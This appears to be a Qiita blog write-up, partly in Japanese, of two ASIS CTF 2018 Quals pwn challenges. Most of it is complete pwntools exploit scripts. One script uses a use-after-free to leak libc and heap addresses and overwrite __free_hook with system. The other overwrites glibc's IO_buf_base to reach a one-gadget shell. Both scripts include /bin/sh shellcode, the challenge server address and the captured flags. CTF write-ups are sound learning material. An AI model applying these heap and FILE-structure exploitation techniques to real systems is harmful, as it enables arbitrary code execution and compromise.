LoginSignup
1
0

More than 5 years have passed since last update.

ASISCTF 2018 Quals Writeup

Last updated at Posted at 2018-04-30

Cat

  • Editの更新確認でnを選択するとポインタが初期化されず簡単にUAFができる脆弱性があったのでそれ使う
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'Cat'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

l = listen(LPORT)
conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, l.lport)
    elif sys.argv[1] == 'a':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')

system = libc.symbols['system']

def select_menu(number):
    conn.sendlineafter('which command?\n> ', str(number))
    return

def add(name, kind, old):
    select_menu(1)
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.recvuntil(':')
    id = conn.recvuntil('\n')
    return id

def edit(id, name, kind, old, confirm):
    select_menu(2)
    conn.sendafter('> ', str(id))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.sendafter('> ', confirm)
    return

def show(id):
    select_menu(3)
    conn.sendafter('> ', str(id))
    conn.recvuntil(':')
    name = conn.recvuntil('\n').strip()
    conn.recvuntil(':')
    kind = conn.recvuntil('\n').strip()
    conn.recvuntil(':')
    old = conn.recvuntil('\n').strip()
    id = conn.recvuntil('id ').strip()
    result = {
        'id'   : id,
        'name' : name,
        'kind' : kind,
        'old'  : old,
    }
    return result

def show_all():
    select_menu(4)
    pass

def delete(id):
    select_menu(5)
    conn.sendafter('> ', str(id))
    return 

def end():
    select_menu(6)

def main():
    add('A' * 0x16, 'B' * 0x16, 1234)
    add('C' * 0x16, 'D' * 0x16, 1234)
    edit(0,"G" * 0x16, 'H' * 0x16, 5678, 'n')
    add(p64(0x6020e0), p64(0x6020e0), 1234)
    edit(0,p64(0x6020a0), p64(0x602090), 5678, 'y')
    libc = show(2)['name']
    libc_base = u64(libc + ('\x00' * (8 - len(libc))) ) - 0x3c48e0
    free_hook = libc_base + 0x3c67a8
    log.info("libc: "  + hex(libc_base))
    heap = show(8)['kind']
    heap_base = u64(heap + ('\x00' * (8 - len(heap))) ) - 0x90
    log.info("heap: " + hex(heap_base))
    add('A' * 0x16, 'B' * 0x16, 1234)
    edit(0,'C' * 0x16, 'D' * 0x16, 5678, 'n')
    add(p64(0x6020d0), p64(free_hook), 1234)
    edit(3,p64(libc_base + system), '/bin/sh\x00', 5678, 'n')

    conn.interactive()

if __name__ == '__main__':
    main()

ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}

FCascade

初めは下記のリンクを参考にexploitを作ったけど大量の入力部分でハマってしまい、時間が溶けて問題は解けなかった
https://github.com/scwuaptx/CTF/blob/master/2017-writeup/twctf/Parrot.md

  • leak関数でlibcのアドレスを特定できる
  • sizeの部分に任意のアドレスを入力してNULLで上書きできる

IO_buf_baseの最下位バイトをNULLで上書きして、stdinのbufferを_free_hookに向けてone gadget
ありがとうございます!
https://twitter.com/hama7230/status/991050401788055552


#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'fstream'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

l = listen(LPORT)
conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, l.lport)
    elif sys.argv[1] == 'a':
        l.spawn_process('./{0}'.format(BINARY))
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')

io_buf_base = 0x3c4918
system = libc.symbols['system']

def send_payload(data):
    conn.sendafter('> ', data)
    return

send_payload('11010110')
send_payload('A' * 0x128)
conn.recv(0x128)
libc = conn.recv(6)
libc_base = u64(libc + ('\x00' * (8 - len(libc) ))) - 0x3da7cb
free_hook = libc_base + 0x3c67a8
log.info('libc_base: ' + hex(libc_base))
send_payload('1' * 8)
send_payload('10110101')
time.sleep(1.0)
send_payload( str(libc_base + io_buf_base+1) + '\n')
payload = p64(0) * 3
payload += p64(free_hook)
payload += p64(free_hook+0x10)
payload += p64(0)
send_payload(payload)

payload = '\x00' * 0xa8
payload += p64(libc_base + 0x4526a) #one_gadget
send_payload(payload)
conn.interactive()

ASIS{1b706201df43717ba2b6a7c41191ec1205fc908d}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0